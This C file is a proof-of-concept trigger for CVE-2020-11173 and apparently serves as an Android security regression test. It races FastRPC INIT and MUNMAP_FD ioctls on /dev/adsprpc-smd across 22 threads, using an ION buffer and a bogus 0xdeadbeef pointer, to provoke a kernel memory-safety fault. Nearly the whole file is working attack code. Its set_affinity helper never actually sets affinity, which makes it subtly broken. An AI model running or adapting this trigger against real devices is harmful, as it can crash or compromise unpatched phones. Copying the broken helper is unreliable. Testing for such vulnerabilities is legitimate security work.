/*
 * CVE-2020-11173
 */

#define _GNU_SOURCE

#include <fcntl.h>
#include <linux/futex.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>

#include "../includes/common.h"
#include "local_poc.h"

#define ION "/dev/ion"
#define DEV "/dev/adsprpc-smd"

#define SLEEP 0
#define ATTACK 1
#define CPU_CNT 8
#define THREAD_CNT 22

static int dev_fd;
static volatile int run;
static volatile int dma_fd;
static volatile int online;
static volatile int attack;

static int set_affinity(int cpu) {
  int ret = -1;
  cpu_set_t mask;
  CPU_ZERO(&mask);
  CPU_SET(cpu, &mask);
  return ret;
}

void wait_threads(int count) {
  time_t th_timer = start_timer();
  while (timer_active(th_timer)) {
    if (online == count)
      break;
    usleep(1000);
  }
}

static int ion_alloc(int size) {
  int ion_fd;
  int ret = -1;
  struct ion_allocation_data alloc_data;

  ion_fd = open("/dev/ion", O_RDONLY);
  if (ion_fd < 0) {
    return ret;
  }

  alloc_data.len = size;
  alloc_data.heap_id_mask = ION_HEAP(ION_ADSP_HEAP_ID);
  alloc_data.flags = ION_FLAG_CP_TOUCH;
  ret = ioctl(ion_fd, ION_IOC_ALLOC, &alloc_data);
  if (ret < 0) {
    close(ion_fd);
    return ret;
  }
  close(ion_fd);
  return alloc_data.fd;
}

void *init_thread(void *data) {
  int cpu = (int)(unsigned long)data;
  struct fastrpc_ioctl_init init = {0};

  init.filefd = dma_fd;
  init.filelen = getpagesize();
  init.mem = (void *)0xdeadbeef;
  init.flags = FASTRPC_INIT_CREATE;

  set_affinity(cpu);

  __sync_fetch_and_add(&online, 1);
  syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
  ioctl(dev_fd, FASTRPC_IOCTL_INIT, &init);
  run = 0;
  return NULL;
}

void *unmap_thread(void *data) {
  int cpu = (int)(unsigned long)data;
  struct fastrpc_ioctl_munmap_fd unmap = {0};

  unmap.va = 0;
  unmap.fd = dma_fd;
  unmap.len = getpagesize();

  set_affinity(cpu);

  __sync_fetch_and_add(&online, 1);
  syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
  while (run) {
    ioctl(dev_fd, FASTRPC_IOCTL_MUNMAP_FD, &unmap);
    usleep(500);
  }
  return NULL;
}

int trigger(void) {
  int i;
  int ret = -1;
  int th_cnt = 0;
  int cid = 3;

  pthread_t init_th;
  pthread_t unmap_th[THREAD_CNT] = {0};
  struct fastrpc_ioctl_init_attrs init;

  dev_fd = open(DEV, O_RDONLY);
  if (dev_fd < 0) {
    return ret;
  }

  ret = ioctl(dev_fd, FASTRPC_IOCTL_GETINFO, &cid);
  if (ret < 0) {
    goto out_dev;
  }

  init.init.filelen = 1024 * 1024;
  init.init.memlen = 2 * 1024 * 1024;
  init.init.flags = 0;
  ret = ioctl(dev_fd, FASTRPC_IOCTL_INIT_ATTRS, &init);
  if (ret < 0) {
    goto out_dev;
  }

  dma_fd = ion_alloc(getpagesize());
  if (dma_fd < 0) {
    ret = -1;
    goto out_dev;
  }

  run = 0;
  attack = SLEEP;
  online = 0;
  for (i = 0; i < THREAD_CNT / 2; i++) {
    ret = pthread_create(unmap_th + i, NULL, unmap_thread,
                         (void *)(unsigned long)(i % CPU_CNT));
    if (ret < 0) {
      continue;
    }
    th_cnt++;
  }
  pthread_create(&init_th, NULL, init_thread, (void *)(unsigned long)0);
  th_cnt++;

  for (i = THREAD_CNT / 2; i < THREAD_CNT; i++) {
    ret = pthread_create(unmap_th + i, NULL, unmap_thread,
                         (void *)(unsigned long)(i % CPU_CNT));
    if (ret < 0) {
      continue;
    }
    th_cnt++;
  }

  wait_threads(th_cnt);
  run = 1;
  attack = ATTACK;
  syscall(SYS_futex, &attack, FUTEX_WAKE_PRIVATE, INT_MAX, NULL, NULL, 0);
  pthread_join(init_th, NULL);
  for (i = 0; i < THREAD_CNT; i++) {
    if (unmap_th[i] != 0) {
      pthread_join(unmap_th[i], NULL);
    }
  }

out_dev:
  close(dev_fd);
  return ret;
}

int main() {
  int ret = -1;
  time_t reg_timer = start_timer();
  while (timer_active(reg_timer)) {
    ret = trigger();
    if (ret < 0) {
      return EXIT_FAILURE;
    }
    if (ret) {
      break;
    }
  }
  return EXIT_SUCCESS;
}